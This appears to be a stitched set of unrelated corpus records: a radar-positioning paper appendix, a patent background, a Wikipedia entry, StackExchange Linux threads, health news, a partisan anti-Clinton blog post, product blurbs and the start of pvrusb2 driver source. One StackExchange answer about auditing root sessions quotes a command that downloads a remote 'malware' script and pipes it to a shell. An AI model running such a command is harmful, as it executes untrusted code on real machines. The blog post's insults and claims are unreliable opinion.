& {= \mathbf{U}^{T}\mathbf{U},} \\
\end{array}$$ where $\mathbf{U} = \overline{\mathbf{U}}\Sigma^{\frac{1}{2}}$. The right part of (A11) is simplified by: $$\begin{array}{l}
{- 2{\lbrack\sum\limits_{k = 1}^{K}\overline{\mathbf{f}}\left( k \right)^{T}\mathbf{W}\left( k \right)^{T}\rbrack}\overline{\mathbf{\alpha}} + {\overline{\mathbf{\alpha}}}^{T}{\lbrack\sum\limits_{k = 1}^{K}\mathbf{W}\left( k \right)\overline{\mathbf{C}}\left( k \right)\mathbf{W}\left( k \right)^{T}\rbrack}\overline{\mathbf{\alpha}}} \\
{= \left| \middle| \mathbf{F} \right.\mathbf{U}^{- 1} - {\overline{\mathbf{\alpha}}}^{T}\mathbf{U}^{T}{||}^{2} - \mathbf{FU}^{- 1}\mathbf{U}^{- T}\mathbf{F}^{T}} \\
{\triangleq \left| \middle| \mathbf{Y} \right. - {\overline{\mathbf{\alpha}}}^{T}\mathbf{X}{||}^{2} - \mathbf{Z},} \\
\end{array}$$ where: $$\begin{aligned}
\mathbf{F} & {\triangleq \sum\limits_{k = 1}^{K}\overline{\mathbf{f}}\left( k \right)^{T}\mathbf{W}\left( k \right)^{T},} \\
\mathbf{Y} & {\triangleq \mathbf{FU}^{- 1},} \\
\mathbf{X} & {\triangleq \mathbf{U}^{T},} \\
\mathbf{Z} & {\triangleq \mathbf{YY}^{T}.} \\
\end{aligned}$$
Denote: $$\begin{array}{r}
{G\left( \mathbf{\alpha}_{i},\overline{\mathbf{\alpha}},\mathbf{P}^{e} \right) \triangleq \left| \middle| \mathbf{Y} \right. - {\overline{\mathbf{\alpha}}}^{H}\mathbf{X}{||}^{2} - \mathbf{Z}.} \\
\end{array}$$
For a given $\mathbf{\alpha}_{i}$, $G\left( \mathbf{\alpha}_{i},\overline{\mathbf{\alpha}},\mathbf{p}^{e} \right)$ is the upper bound of the cost function $Q\left( \eta \right)$. The cost function defined in (A14) is viewed as a relaxed programming of the original programming: $${\overline{\mathbf{\alpha}}}_{i + 1} = \arg\min\limits_{\overline{\mathbf{\alpha}}}G\left( \mathbf{\alpha}_{i},\overline{\mathbf{\alpha}},\mathbf{p}_{e} \right) = \left| \middle| \mathbf{Y} \right. - {\overline{\mathbf{\alpha}}}^{H}\mathbf{X}{||}^{2} - \mathbf{Z},$$ $$\begin{array}{r}
{s.t.\mspace{720mu}\overline{\mathbf{\alpha}} \geq 0.} \\
\end{array}$$
Since ${\overline{\mathbf{\alpha}}}_{i + 1}$ is the optimal solution of the relaxed programming, $$Q\left( \mathbf{\eta}_{i + 1} \right) = H\left( {\overline{\mathbf{\alpha}}}_{i + 1} \right) \leq G\left( \mathbf{\alpha}_{i},{\overline{\mathbf{\alpha}}}_{i + 1},\mathbf{p}_{e} \right) \leq G\left( \mathbf{\alpha}_{i},{\overline{\mathbf{\alpha}}}_{i},\mathbf{p}_{e} \right) = H\left( {\overline{\mathbf{\alpha}}}_{i} \right) = Q\left( \mathbf{\eta}_{i} \right),$$ ☐
{#sensors-18-00892-f001}
{#sensors-18-00892-f002}
{#sensors-18-00892-f003}
{#sensors-18-00892-f004}
{#sensors-18-00892-f005}
{#sensors-18-00892-f006}
{#sensors-18-00892-f007}
{#sensors-18-00892-f008}
{#sensors-18-00892-f009}
{#sensors-18-00892-f010}
{#sensors-18-00892-f011}
{#sensors-18-00892-f012}
{#sensors-18-00892-f013}
{#sensors-18-00892-f014}
{#sensors-18-00892-f015}
{#sensors-18-00892-f016}
sensors-18-00892-t001_Table 1
######
Parameter setting in the numerical simulations.
Description Layout *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) *K* *J* SNR (dB)
--------------------------------- -------- --------- ------------------------------------------- ----- ----------- ----- ----- ----------
Baseband signal positioning A 30 *1157.5/0.26* 11 8 64 100 10
Transponders are close *B* 30 30/10 11 8 64 100 10
Single antenna of each receiver A 30 30/10 *1* 8 64 100 10
Standard scenario A 30 30/10 11 8 64 100 10
sensors-18-00892-t002_Table 2
######
Parameter setting in MP-MUSIC simulations.
Description Layout *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) *K* *J* SNR (dB)
----------------------- -------- --------- ------------------------------------------- ----- ----------- ----- ----- ----------------
RMSE of MUSIC methods A 30 1157.5/0.26 11 8 128 100 $- 15 \sim 15$
sensors-18-00892-t003_Table 3
######
Parameter setting in insufficient snapshot scenarios.
Description Layout *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) *K* *J* SNR (dB)
------------- -------- --------- ------------------------------------------- ----- ----------- ----- ----- ----------------
*MP-MUSIC* A 30 1157.5/0.26 11 8 16 1 $- 15 \sim 15$
*MP-ML* A 30 1157.5/0.26 11 8 16 1 $- 15 \sim 15$
*CRLB* A 30 1157.5/0.26 11 8 16 1 $- 15 \sim 15$
sensors-18-00892-t004_Table 4
######
Parameter setting in MP-MUSIC with different $J,K$ combinations.
Description Layout *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) *K* *J* SNR (dB)
-------------------------------- -------- --------- ------------------------------------------- ----- ----------- ------- ------ -------------
MP-MUSIC $J,K$ Combination I A 30 1157.5/0.26 11 8 *32* *4* $0 \sim 30$
MP-MUSIC $J,K$ Combination II A 30 1157.5/0.26 11 8 *16* *8* $0 \sim 30$
MP-MUSIC $J,K$ Combination III A 30 1157.5/0.26 11 8 *8* *16* $0 \sim 30$
MP-MUSIC $J,K$ Combination IV A 30 1157.5/0.26 11 8 *4* *32* $0 \sim 30$
MP-ML A 30 1157.5/0.26 11 8 *128* *1* $0 \sim 30$
CRLB A 30 1157.5/0.26 11 8 *128* *1* $0 \sim 30$
sensors-18-00892-t005_Table 5
######
Parameter setting in simulations of different numbers of snapshots.
Description Layout *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) $\mathbf{\mathbf{K} \cdot \mathbf{J}}$ SNR (dB)
------------- -------- --------- ------------------------------------------- ----- ----------- --------------------------------------------- ----------
*MP-MUSIC* A 30 1157.5/0.26 11 8 $2^{i}$, $\left( i = 4,5,\cdots,13 \right)$ 10
*MP-ML* A 30 1157.5/0.26 11 8 $2^{i}$, $\left( i = 4,5,\cdots,13 \right)$ 10
*CRLB* A 30 1157.5/0.26 11 8 $2^{i}$, $\left( i = 4,5,\cdots,13 \right)$ 10
sensors-18-00892-t006_Table 6
######
Parameter setting in simulations of time consumption.
Description Layout *d* *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) SNR *K* *J*
----------------------- -------- ------------ --------- ------------------------------------------- ----- ----------- ----- ------- -----
MP-ML ($KJ = 16$) A $1 \sim 4$ 30 1157.5/0.26 11 8 15 *16* *1*
MP-MUSIC ($KJ = 16$) A $1 \sim 4$ 30 1157.5/0.26 11 8 15 *16* *1*
MP-ML ($KJ = 128$) A $1 \sim 4$ 30 1157.5/0.26 11 8 15 *128* *1*
MP-MUSIC ($KJ = 128$) A $1 \sim 4$ 30 1157.5/0.26 11 8 15 *16* *8*
sensors-18-00892-t007_Table 7
######
Parameter setting in simulations of different numbers of receivers. SGP, Single Platform Geolocation .
Description Number of Receivers *R* (m) $\mathbf{\mathbf{\lambda}}$ (m)/*f* (MHz) *M* *B* (kHz) *K* SNR (dB)
------------- --------------------- --------- ------------------------------------------- ----- ----------- ----- ----------
MP-ML *2*∼*4* 30 1157.5/0.26 11 8 128 10
CRLB *1*∼*4* 30 1157.5/0.26 11 8 128 10
SGP *1* 30 1157.5/0.26 11 8 128 10
| {
"pile_set_name": "PubMed Central"
} |
The background description provided herein is for the purpose of generally presenting the context of the disclosure. Work of the presently named inventors, to the extent it is described in this background section, as well as aspects of the description that may not otherwise qualify as prior art at the time of filing, are neither expressly nor impliedly admitted as prior art against the present disclosure.
Air is drawn into an engine through an intake manifold. A throttle valve controls airflow into the engine. The air mixes with fuel from one or more fuel injectors to form an air/fuel mixture. The air/fuel mixture is combusted within one or more
Combustion of the air/fuel mixture produces torque and exhaust gas. Torque is generated via heat release and expansion during combustion of the air/fuel mixture. The engine transfers torque to a transmission via a crankshaft, and the transmission transfers torque to one or more wheels via a driveline. The exhaust gas is expelled from the cylinders to an exhaust system.
An engine control module (ECM) controls the torque output of the engine. The ECM may control the torque output of the engine based on driver inputs and/or other suitable inputs. The driver inputs may include, for example, accelerator pedal position, brake pedal position, and/or one or more other suitable driver inputs. | {
"pile_set_name": "USPTO Backgrounds"
} |
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"pile_set_name": "Pile-CC"
} |
Intercontinental Tower, Manchester
The Intercontinental Tower, Manchester is a cancelled landmark skyscraper for construction in Manchester City Centre, England. The proposed high rise would have been a five-star luxury hotel run by InterContinental Hotels Group, and developed by Northern Irish development firm, Benmore.
The skyscraper was proposed in a press release by developer Benmore in May 2009 and discussed with Manchester City Council in summer 2009. In 2010, the tower was part of the city council's preliminary plans to regenerate the surrounding civic quarter, and opposition to building a skyscraper in the heart of its historic district has been minimal.
The tower would feature a helipad and two decorative spires, much like the Willis Tower in Chicago, which would take its pinnacle height to approximately , 30 m taller than Manchester's tallest skyscraper, the Beetham Tower. The plans for the 48-storey tower were drawn up before the recession but were abandoned when the financial market crashed. Planning negotiations have resumed and architect Roger Stephenson has designed a 25-storey tower to contain 270 hotel rooms and a presidential suite at the top. The theatre façade will be retained to become the entrance to the hotel foyer. The structure will be created behind the theatre's façade.
Background
The skyscraper was proposed in May 2008 as the Theatre Royal Tower and the initial design was modified to its current state. Its height was increased from approximately 118 metres to 200 m.
Developers Benmore, who have invested in Manchester, revealed in a press release that they were in "advanced negotiations to bring an internationally renowned hotel chain to the City - the first of that brand in the North West". InterContinental Hotels Group were linked to the development. A factor in the proposal is it would be within the security cordon for Manchester Central Conference Centre which is a popular destination for business and political conferences.
The tower would be close enough to the Beetham Tower to form a coherent cluster. Also planned is a helipad on top of the skyscraper which would be the first of its kind in the United Kingdom.
In October 2009, the general manager of Manchester's Radisson Edwardian Hotel believed the city had reached a 'tipping point' and would not see any major hotel investment for three years. Manchester City Council held a public consultation on the plans in February 2010. The Radisson Edwardian had "no objection to the re-instatement of the theatre here [Library Theatre] but object strongly to the proposal to redevelop the site for a ‘tall’ building which they define as any building exceeding 15 storeys." The council acknowledged that "a new quality hotel" was being planned but claimed "The principle of a taller building on this site was established when planning permission was granted for a 17 storey office building on 2 June 2005. The impact on the historic environment (and in every other sense) of a scheme of this height was considered to be acceptable at that time. Therefore, officers do not consider that development at the Theatre Royal site should not exceed 15 storeys." Under the proposal the skyscraper would be built to the rear of the Manchester Theatre Royal, which would be restored and its future preserved.
See also
Beetham Tower, Manchester
List of tallest buildings and structures in Manchester
References
Category:Hotels in Manchester
Category:Proposed buildings and structures in Manchester
Category:Skyscrapers in Manchester
Category:Skyscraper hotels in England
Category:Proposed skyscrapers in England | {
"pile_set_name": "Wikipedia (en)"
} |
Q:
Error while using apt-get
I am not very expert in linux. I am just using Ubuntu for few months. Recently, I am facing the same error whenever I am trying to perform any task(mainly apt-get tasks). For example here I am trying to install htop for my purpose and this is the error that I am getting. It seems that the error is occurring due to rsync but not sure about the error nor how I can get rid of it.
sudo apt-get install htop
Reading package lists... Done
Building dependency tree
Reading state information... Done
htop is already the newest version.
0 upgraded, 0 newly installed, 0 to remove and 5 not upgraded.
1 not fully installed or removed.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n] y
Setting up rsync (3.1.1-3ubuntu0.15.04.1) ...
insserv: warning: script 'K01vpnagentd_init' missing LSB tags and overrides
insserv: warning: script 'vpnagentd_init' missing LSB tags and overrides
insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true!
insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true!
insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true!
insserv: There is a loop between service vpnagentd_init and rc.local if started
insserv: loop involving service rc.local at depth 7
insserv: loop involving service vpnagentd_init at depth 1
insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true!
insserv: exiting now without changing boot order!
update-rc.d: error: insserv rejected the script header
dpkg: error processing package rsync (--configure):
subprocess installed post-installation script returned error exit status 1
Errors were encountered while processing:
rsync
E: Sub-process /usr/bin/dpkg returned an error code (1)
I have also tried using sudo dpkg --configure -a and I am getting the following error
Setting up rsync (3.1.1-3ubuntu0.15.04.1) ...
insserv: warning: script 'K01vpnagentd_init' missing LSB tags and overrides
insserv: warning: script 'vpnagentd_init' missing LSB tags and overrides
insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true!
insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true!
insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true!
insserv: There is a loop between service vpnagentd_init and rc.local if started
insserv: loop involving service rc.local at depth 7
insserv: loop involving service vpnagentd_init at depth 1
insserv: Starting vpnagentd_init depends on rc.local and therefore on system facility `$all' which can not be true!
insserv: exiting now without changing boot order!
update-rc.d: error: insserv rejected the script header
dpkg: error processing package rsync (--configure):
subprocess installed post-installation script returned error exit status 1
Errors were encountered while processing:
rsync
It would be really helpful if someone could point out what should I do to remove this error. I am using Ubuntu 15.04. Thank you for your help.
A:
I would remove rsync, attempt to resolve the problem related to the vpnagentd_init script and reinstall rsync.
1) Remove rsync using sudo apt-get remove rsync
2) Edit /etc/init.d/vpnagentd_init and insert the following LSB tags.
### BEGIN INIT INFO
# Provides: vpnagentd_init
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start Cisco vpn agent daemon at boot time
# Description: Cisco vpn agent daemon (believe installed by company ssl client)
### END INIT INFO
Source: http://forums.debian.net/viewtopic.php?f=30&t=53192#p575807
3) Install rsync using sudo apt-get install rsync
If all goes well then you shouldn't see any of those vpnagentd_init warnings and the rsync post-installation script should execute without fault.
| {
"pile_set_name": "StackExchange"
} |
Q:
Log every command executed from root
I want to give access to my root server to an external system administrator, but i want to be sure to double check what he is doing to my server, e.g. copying data i don't want them to do and so on. I would also like to take a track of whatever file is accessed, even in read only and not edited.
How can i do that?
A:
Don't give him root access. Instead, give him an un-privileged user account and request that he do all of his work through sudo, which will log all of his commands.
Keep in mind that if this person has ill intentions and you give him full sudo privileges, he will find a way to carry out those ill intentions without those commands being logged. In this case, only grant him access to the specific commands he needs to do his job.
A:
Trust, but verify!
Check out sudosh2. sudosh2 is provided by FreeBSD ports. Packages are available for RedHat and Ubuntu. Here is the description from their website:
sudosh is an auditing shell filter and can be used as a login shell.
Sudosh records all keystrokes and output and can play back the session
as just like a VCR.
Sudosh will allow you to replay the user's session, which will allow you to see all input and output as the user saw it. You see everything, keystrokes, typos, backspaces, what did they edit in vi, the output of wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh, etc.
It's possible to send sudosh logs to syslog, so that they can be stored on a central syslog server away from the system.
Note that sudosh2 is a replacement for sudosh, which was abandoned by it's author
Do you work at an academic institution where users insist on having superuser privledges? Or do you work at a corporation and want to allow users to have superuser privileges on their own VMs? This might be the solution for you.
| {
"pile_set_name": "StackExchange"
} |
Friday, January 25, 2013
The 5,000-year-old Indian practice may have positive effects on major psychiatric disorders, including depression, schizophrenia, ADHD and sleep complaints
Yoga has positive effects on mild depression and sleep complaints, even in the absence of drug treatments, and improves symptoms associated with schizophrenia and ADHD in patients on medication, according to a systematic review of the exercise on major clinical psychiatric disorders.
Published in the open-access journal, Frontiers in Psychiatry, on January 25th, 2013, the review of more than one hundred studies focusing on 16 high-quality controlled studies looked at the effects of yoga on depression, schizophrenia, ADHD, sleep complaints, eating disorders and cognition problems.
Yoga in popular culture
Yoga is a popular exercise and is practiced by 15.8 million adults in the United States alone, according to a survey by the Harris Interactive Service Bureau, and its holistic goal of promoting psychical and mental health is widely held in popular belief.
"However, yoga has become such a cultural phenomenon that it has become difficult for physicians and patients to differentiate legitimate claims from hype," wrote the authors in their study. "Our goal was to examine whether the evidence matched the promise."
Benefits of the exercise were found for all mental health illnesses included in the review, except for eating disorders and cognition problems as the evidence for these was conflicting or lacking.
Dr. P. Murali Doraiswamy, a professor of psychiatry and medicine at Duke University Medical Center, US, and author of the study, explained that the emerging scientific evidence in support of the 5,000 year old Indian practice on psychiatric disorders is "highly promising" and showed that yoga may not only help to improve symptoms, but also may have an ancillary role in the prevention of stress-related mental illnesses.
The review found evidence from biomarker studies showing that yoga influences key elements of the human body thought to play a role in mental health in similar ways to that of antidepressants and psychotherapy. One study found that the exercise affects neurotransmitters, inflammation, oxidative stress, lipids, growth factors and second messengers.
Unmet need among mental health patients
Depression alone affects more than 350 million people globally and is the leading cause of disability worldwide, according to the World Health Organization (WHO). On World Mental Health Day last year, the WHO called for improved access to treatments.
While there has been an increase in the number of medications available for mental health disorders, many of which can be life saving for patients, there remains "a considerable unmet need," according to Dr. Meera Balasubramaniam, lead author of the study, who is also based at Duke University, US.
Poor compliance and relapse as well as treatment resistance are growing problems, and medications are expensive and can leave patients with significant side effects.
The Primary Care study, carried out by WHO, found that 60% of patients were still depressed after a year of being treated with an anti-depressant and a National Institute of Mental Health funded research showed remission in only one-third of patients.
"The search for improved treatments, including non-drug based, to meet the holistic needs of patients is of paramount importance and we call for more research into yoga as a global priority," said Doraiswamy. "If the promise of yoga on mental health was found in a drug, it would be the best selling medication world-wide," he added.
There are many benefits associated with practicing yoga for improving mental health, including, fewer side effects, relatively low cost, generally good access and the improvement of physical fitness, added the authors.
The authors also note that while the results are promising, the findings should be viewed as preliminary because all studies of yoga to date have consisted of small samples, and more rigorous research will be needed before the exercise can be applied to help patients with mental health disorders.
Thursday, January 17, 2013
People suffering from chronic inflammatory conditions, such as rheumatoid arthritis, inflammatory bowel disease and asthma -- in which psychological stress plays a major role -- may benefit from mindfulness meditation techniques, according to a study by University of Wisconsin-Madison neuroscientists with the Center for Investigating Healthy Minds at the Waisman Center.
Mindfulness-based stress reduction, originally designed for patients with chronic pain, consists of continuously focusing attention on the breath, bodily sensations and mental content while seated, walking or practicing yoga.
While interest in meditation as a means of reducing stress has grown over the years, there has been little evidence to support benefits specific to mindfulness meditation practice. This was the first study designed to control for other therapeutic mechanisms, such as supportive social interaction, expert instruction, or learning new skills.
A class in stress reduction can be beneficial in many ways, some of which have little to do with mindfulness, according to Melissa Rosenkranz, assistant scientist at the center and lead author on the paper, which was published recently in the journal Brain, Behavior and Immunity. For example, learning to manage stress by engaging in regular physical activity may be therapeutic.
"We wanted to develop an intervention that was meant to produce positive change and compare the mindfulness approach to an intervention that was structurally equivalent," Rosenkranz says.
The study compared two methods of reducing stress: a mindfulness meditation-based approach, and a program designed to enhance health in ways unrelated to mindfulness.
The comparison group participated in the Health Enhancement Program, which consisted of nutritional education; physical activity, such as walking; balance, agility and core strengthening; and music therapy. The content of the program was meant to match aspects of the mindfulness instruction in some way. For example, physical exercise was meant to match walking meditation, without the mindfulness component. Both groups had the same amount of training, the same level of expertise in the instructors, and the same amount of home practice required by participants.
"In this setting, we could see if there were changes that we could detect that were specific to mindfulness," Rosenkranz explains.
Using a tool called the Trier Social Stress Test to induce psychological stress, and a capsaicin cream to produce inflammation on the skin, immune and endocrine measures were collected before and after training in the two methods. While both techniques were proven effective in reducing stress, the mindfulness-based stress reduction approach was more effective at reducing stress-induced inflammation.
The results show that behavioral interventions designed to reduce emotional reactivity are beneficial to people suffering from chronic inflammatory conditions.
The study also suggests that mindfulness techniques may be more effective in relieving inflammatory symptoms than other activities that promote well-being.
Rosenkranz emphasizes that the mindfulness-based approach is not a magic bullet.
"This is not a cure-all, but our study does show that there are specific ways that mindfulness can be beneficial, and that there are specific people who may be more likely to benefit from this approach than other interventions."
Significant portions of the population do not benefit from available pharmaceutical treatment options, for example. Some of these patients suffer from negative side effects of the drugs, or simply do not respond to the standard-of-care for treatment of the disorder.
"The mindfulness-based approach to stress reduction may offer a lower-cost alternative or complement to standard treatment, and it can be practiced easily by patients in their own homes, whenever they need," Rosenkranz says.
Scientists at the Center for Investigating Healthy Minds conduct rigorous research on the physiological effects of meditation on the brain, and the power of the brain to influence human health. This study adds to the growing body of knowledge concerning the mechanisms of mindfulness and how it affects the body.
This work was supported by grants from the National Center for Complementary and Alternative Medicine (U01AT002114-01A1 to Antoine Lutz; and P01-AT004952 to Richard J. Davidson), the National Institute of Mental Health (P50-MH069315 to Richard J. Davidson), and a core grant from the National Institutes of Health to the Waisman Center (P30-HD003352, to Marsha Selzer), the Fetzer Institute, the John Templeton Foundation, and the Mental Insight Foundation.
Monday, January 14, 2013
Children who regularly see specialists for chronic medical conditions are also using complementary medicine at a high rate, demonstrates recently published research from the University of Alberta and the University of Ottawa.
About 71 per cent of pediatric patients attending various specialty clinics at the Stollery Children's Hospital in Edmonton used alternative medicine, while the rate of use at the Children's Hospital of Eastern Ontario in Ottawa was 42 per cent. Nearly 20 per cent of the families who took part in the study said they never told their physician or pharmacist about concurrently using prescription and alternative medicine.
Sunita Vohra, a researcher with the Faculty of Medicine & Dentistry at the U of A, was the lead investigator on the study, which was recently published in the peer-reviewed journal Pediatrics. Her co-investigator was W James King from the University of Ottawa.
"The children in this study are often given prescription medicines," says Vohra, a pediatrician who works in the Department of Pediatrics and the School of Public Health at the U of A.
"And many of these children used complementary therapies at the same time or instead of taking prescription medicine. We asked families if they would like to talk about the use of alternative medicine, more than 80 per cent of them said, 'yes, please.'
"Right now, these families are getting information about alternative medicine from friends, family and the Internet, but a key place they should be getting this information from is their doctor or another member of their health-care team, who would know about possible drug interactions with prescription medicines." Vohra said the study "identified a gap in communications" in dealing with pediatric patients and their families.
"It's important to get these conversations going with every patient, especially when you consider it's not widely recognized how common it is for children with chronic illnesses to use alternative medicine," says the Alberta Innovates-Health Solutions scholar.
"We need to make sure these families are comfortable telling their specialists they are taking other therapies," she said. Right now, Vohra and her colleagues at the U of A have developed curricula for undergraduate medical students about the use of alternative medicine by pediatric patients, which is considered innovative and novel. Ensuring medical students receive information about alternative medicine is key because it arms them with more knowledge about potential interactions with prescription medicine, says Vohra.
"Considering parents are saying they want this information, we have an obligation to ensure future physicians have the education and resources they need for these conversations," Vohra says.
The effects of acute acupuncture applied during exercise on performance factors such as power and blood pressure and on the body's ability to recover post-exercise were evaluated in a review article published in The Journal of Alternative and Complementary Medicine, a peer-reviewed journal from Mary Ann Liebert, Inc., publishers. The article is available free on the Journal website.
A review of the literature uncovered four studies designed to test whether a person receiving acupuncture while exercising would have enhanced exercise performance and/or recover more quickly from an exercise session. In their systematic review article, Paola Urroz, Ben Colagiuri, Caroline Smith, and Birinder Singh Cheema, University of Western Sydney (Campbelltown), and University of Sydney, Australia, suggest that based on these four published studies, acupuncture may have a positive effect.
They caution, however, that additional trials, with larger numbers of participants and randomized, controlled study designs, as well as standardized reporting of research methods and results, are needed to confirm and more thoroughly explore the effects of acupuncture on exercise performance and recovery. | {
"pile_set_name": "Pile-CC"
} |
Another e-mail scandal (see see BREAKING: Clinton Email Investigation REOPENED...Because Anthony Weiner?!), but isn't this really all Hillary's fault in the first place? Her campaign won't say no. Double negative, I know. This whole election season has gotten me used to the double speak. Watch the video and you'll get it.
Tapper pointed out the Clinton campaign has very quickly turned on James Comey, considering how laudatory they were of him even just last week. Podesta insisted that they’re just reaction to an “unprecedented action” on his part.
Side note, it's not unprecedented. (see FLASHBACK: Bill Clinton Celebrated Last Minute Indictment in 1992)
But Tapper also got around to the setup of the server in the first place and said that all of this is only happening because of Clinton’s “horrible decision” to set up the server in the first place. Podesta insisted that she’s learned from this. Tapper asked, “What has she learned?” Podesta said Clinton wouldn’t do it again.
LOL, he means she wouldn't get caught.
It really is remarkable that Hillary Clinton seems incapable of expressing actual remorse for her actions that have subsequently hurt others. If Hillary could turn back the clock, would she obey the law regarding classified emails the careless of which put Americans at risk? Well she wouldn't get caught. In retrospect, would Hillary have not defended a child rapist whom she admittedly believed was guilty? Well, she was just doing her job! If given a do-over, would she have responded in a more timely manner to save the lives of four American heroes? "WHAT DIFFERENCE DOES IT MAKE?!"
Hillary Clinton, my friends, is what you call a "sociopath".
NOT SUBSCRIBED TO THE PODCAST? FIX THAT! IT’S COMPLETELY FREE ON BOTH ITUNES HERE AND SOUNDCLOUD HERE. | {
"pile_set_name": "OpenWebText2"
} |
Our energy is entirely devoted to helping you understand your customers' driving behaviour with the industry's most accurate driving data and trusted driving scores. Our services and products are specifically designed so you can re-assess risk, discount safer drivers and manage your customers more effectively. Clear results that make sense to help your business innovate, compete and grow.
Everything we do is designed to make driving data make sense to your business. MAKES SENSE is our pledge to more actively communicate this customer journey to you. It’s a long-term commitment from Wunelli to create simple and clear ways to present valuable driver data with insightful analysis. We’ll do more of the expert data work so that none of our clients need to.
From state-of-the-art data collection to games and driver comparisons, get the latest apps from our development team available through Google Play and the AppStore. See what we could build for you with applications designed for all types of users to rate their driving and check whether telematics is the right solution to lower their premiums, and for brands to engage in the rapidly growing market of usage-based insurance to deliver their customers safe driving services enabled by smartphone. | {
"pile_set_name": "Pile-CC"
} |
The 2015 Consumer Electronics Shows (CES) in Las Vegas, Nevada, USA has seen some big names tied to virtual reality (VR) this week. The likes of the NBA, Artists Den, Skybound Entertainment and more have pledged to make 360 degree video content for viewing with the likes of Samsung’s Gear VR smartphone-based head-mounted display (HMD). Now it’s been revealed that the world’s most popular wresting network, World Wrestling Entertainment (WWE), is also interested in VR content, which it is currently ‘testing out’.
The news was announced during a panel at CES titled ‘Masters of Trailblazing Content’, which VRFocus attended. Speaking on the session was WWE’s Chief Strategy & Financial Officer, George A. Barrios. He revealed that the company is currently testing VR content at the WWE Performance Center in Florida. “It’s very, very early days… it’s very expensive; the amount of cameras and post-production needed,” Barrios reasoned.
“We’re early days on what the content might be,” he continued. “We saw the live content – Cirque du Soleil – and we were blown away.” The Cirque du Soleil VR experience is an app that can currently be found on Gear VR.
It’s possible that this content could be yet another part of Samsung’s Milk VR, a VR video service that recently launched on Gear VR for free. The aforementioned brands are all producing content for this app, suggesting that it will play a large part in the company’s future. Skybound Entertainment in particular has confirmed that it is bringing a new thriller series to the app, while NBA will be producing backstage content for fans to enjoy. It certainly doesn’t take much to think of how VR content could be integrated into WWE.
VRFocus will continue to follow all applications of VR, including video, reporting back with any further updates. | {
"pile_set_name": "OpenWebText2"
} |
My Secret Screaming O Remote Control Panty Vibe Pink
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The remote control makes it easy to shuffle through 10 different vibration functions that tease, please and titillate with the touch of a button. Watch her squirm and quiver from across the room or match the My Secret Vibrating Panty Set with any lingerie set for an especially sexy night in. Discreet enough to wear under clothing while out on the town, this clever sex toy lets couples experiment with public pleasure and spice up date night with a naughty twist. | {
"pile_set_name": "Pile-CC"
} |
/*
*
*
* Copyright (C) 2005 Mike Isely <[email protected]>
* Copyright (C) 2004 Aurelien Alleaume <[email protected]>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*/
#include <linux/kernel.h>
#include <linux/version.h>
#include "pvrusb2-context.h"
#include "pvrusb2-hdw.h"
#include "pvrusb2.h"
#include "pvrusb2-debug.h"
#include "pvrusb2-v4l2.h"
#include "pvrusb2-ioread.h"
#include <linux/videodev2.h>
#include <media/v4l2-dev.h>
#include <media/v4l2-common.h>
#include <media/v4l2-ioctl.h>
struct pvr2_v4l2_dev;
struct pvr2_v4l2_fh;
struct pvr2_v4l2;
struct pvr2_v4l2_dev {
struct video_device devbase; /* MUST be first! */
struct pvr2_v4l2 *v4lp;
struct pvr2_context_stream *stream;
/* Information about this device: */
enum pvr2_config config; /* Expected stream format */
int v4l_type; /* V4L defined type for this device node */
enum pvr2_v4l_type minor_type; /* pvr2-understood minor device type */
};
struct pvr2_v4l2_fh {
struct pvr2_channel channel;
struct pvr2_v4l2_dev *dev_info;
enum v4l2_priority prio;
struct pvr2_ioread *rhp;
struct file *file;
struct pvr2_v4l2 *vhead;
struct pvr2_v4l2_fh *vnext;
struct pvr2_v4l2_fh *vprev;
wait_queue_head_t wait_data;
int fw_mode_flag;
/* Map contiguous ordinal value to input id */
unsigned char *input_map;
unsigned int input_cnt;
};
struct pvr2_v4l2 {
struct pvr2_channel channel;
struct pvr2_v4l2_fh *vfirst;
struct pvr2_v4l2_fh *vlast;
struct v4l2_prio_state prio;
/* streams - Note that these must be separately, individually,
* allocated pointers. This is because the v4l core is going to
* manage their deletion - separately, individually... */
struct pvr2_v4l2_dev *dev_video;
struct pvr2_v4l2_dev *dev_radio;
};
static int video_nr[PVR_NUM] = {[0 ... PVR_NUM-1] = -1};
module_param_array(video_nr, int, NULL, 0444);
MODULE_PARM_DESC(video_nr, "Offset for device's video dev minor");
static int radio_nr[PVR_NUM] = {[0 ... PVR_NUM-1] = -1};
module_param_array(radio_nr, int, NULL, 0444);
MODULE_PARM_DESC(radio_nr, "Offset for device's radio dev minor");
static int vbi_nr[PVR_NUM] = {[0 ... PVR_NUM-1] = -1};
module_param_array(vbi_nr, int, NULL, 0444);
MODULE_PARM_DESC(vbi_nr, "Offset for device's vbi dev minor");
static struct v4l2_capability pvr_capability ={
.driver = "pvrusb2",
.card = "Hauppauge WinTV pvr-usb2",
.bus_info = "usb",
.version = KERNEL_VERSION(0, 9, 0),
